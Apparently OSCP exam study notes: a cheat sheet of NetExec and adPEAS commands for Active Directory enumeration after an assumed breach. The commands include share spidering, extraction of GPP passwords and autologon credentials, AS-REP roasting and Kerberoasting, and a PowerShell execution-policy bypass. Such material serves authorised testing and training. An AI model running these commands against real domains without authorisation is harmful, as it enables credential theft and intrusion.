Covers steps 0-1 of OSCP AD Set - Assumed Breach Methodology.

Confirm Initial Access

nxc smb <target> -u <user> -p <pass>
# or with hash
nxc smb <target> -u <user> -H <NTLM>

Fingerprint the DC / Domain

nxc smb <DC-IP>                      # OS, domain name, signing, SMBv1
nxc smb <target-range> -u <user> -p <pass>   # sweep the whole subnet for validity/access

Confirm DNS / DC

nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain> <DC-IP>

Add domain + DC to /etc/hosts for proper name resolution.

Users, Groups, Policy (SMB)

nxc smb <target> -u <user> -p <pass> --users
nxc smb <target> -u <user> -p <pass> --groups
nxc smb <target> -u <user> -p <pass> --local-groups
nxc smb <target> -u <user> -p <pass> --rid-brute        # works even with a low-priv/null session sometimes
nxc smb <target> -u <user> -p <pass> --pass-pol

Sessions & Logged-on Users

nxc smb <target> -u <user> -p <pass> --smb-sessions
nxc smb <target> -u <user> -p <pass> --loggedon-users    # who's actually logged in right now, good lateral movement signal

Shares

nxc smb <target> -u <user> -p <pass> --shares
nxc smb <target> -u <user> -p <pass> -M spider_plus       # crawl every readable share, dumps a file listing to loot

Useful Recon Modules

nxc smb <target> -u <user> -p <pass> -M enum_av           # installed AV/EDR
nxc smb <target> -u <user> -p <pass> -M gpp_autologin      # cached autologon creds via GPP
nxc smb <target> -u <user> -p <pass> -M gpp_password       # GPP cpassword in SYSVOL
nxc smb <target> -u <user> -p <pass> -M whoami

adPEAS

Transfer the script to the target first, then run from the Evil-WinRM session line by line to avoid variable expansion issues (see note below):

. .\adpeas.ps1
$pass = ConvertTo-SecureString 'Password' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('domain.xyz\username', $pass)
Connect-adPEAS -Domain 'domain.xyz' -Credential $cred
Invoke-adPEAS

If the machine is already domain-joined and the session token is sufficient, skip Connect-adPEAS and just run:

. .\adpeas.ps1
Invoke-adPEAS -Domain 'domain.xyz'

Evil-WinRM variable note: Running the above as a single -Command string will cause $pass and $cred to be expanded (and emptied) by Evil-WinRM before the child process sees them. Either run line by line as shown, or escape each $ with a backtick:

powershell -ExecutionPolicy Bypass -Command ". .\adpeas.ps1; `$pass = ConvertTo-SecureString 'Password' -AsPlainText -Force; `$cred = New-Object System.Management.Automation.PSCredential('domain.xyz\username', `$pass); Connect-adPEAS -Domain 'domain.xyz' -Credential `$cred; Invoke-adPEAS"

LDAP Enumeration

nxc ldap <DC-IP> -u <user> -p <pass> --users
nxc ldap <DC-IP> -u <user> -p <pass> --groups
nxc ldap <DC-IP> -u <user> -p <pass> --admin-count           # accounts that were ever privileged, incl. former DAs
nxc ldap <DC-IP> -u <user> -p <pass> --trusted-for-delegation
nxc ldap <DC-IP> -u <user> -p <pass> --asreproast asrep.txt   # alt to impacket-GetNPUsers, one-liner
nxc ldap <DC-IP> -u <user> -p <pass> --kerberoasting kerb.txt # alt to impacket-GetUserSPNs

Next

Once access is confirmed and the DC identified: BloodHound Collection (or Manual LDAP Enumeration if collectors are blocked).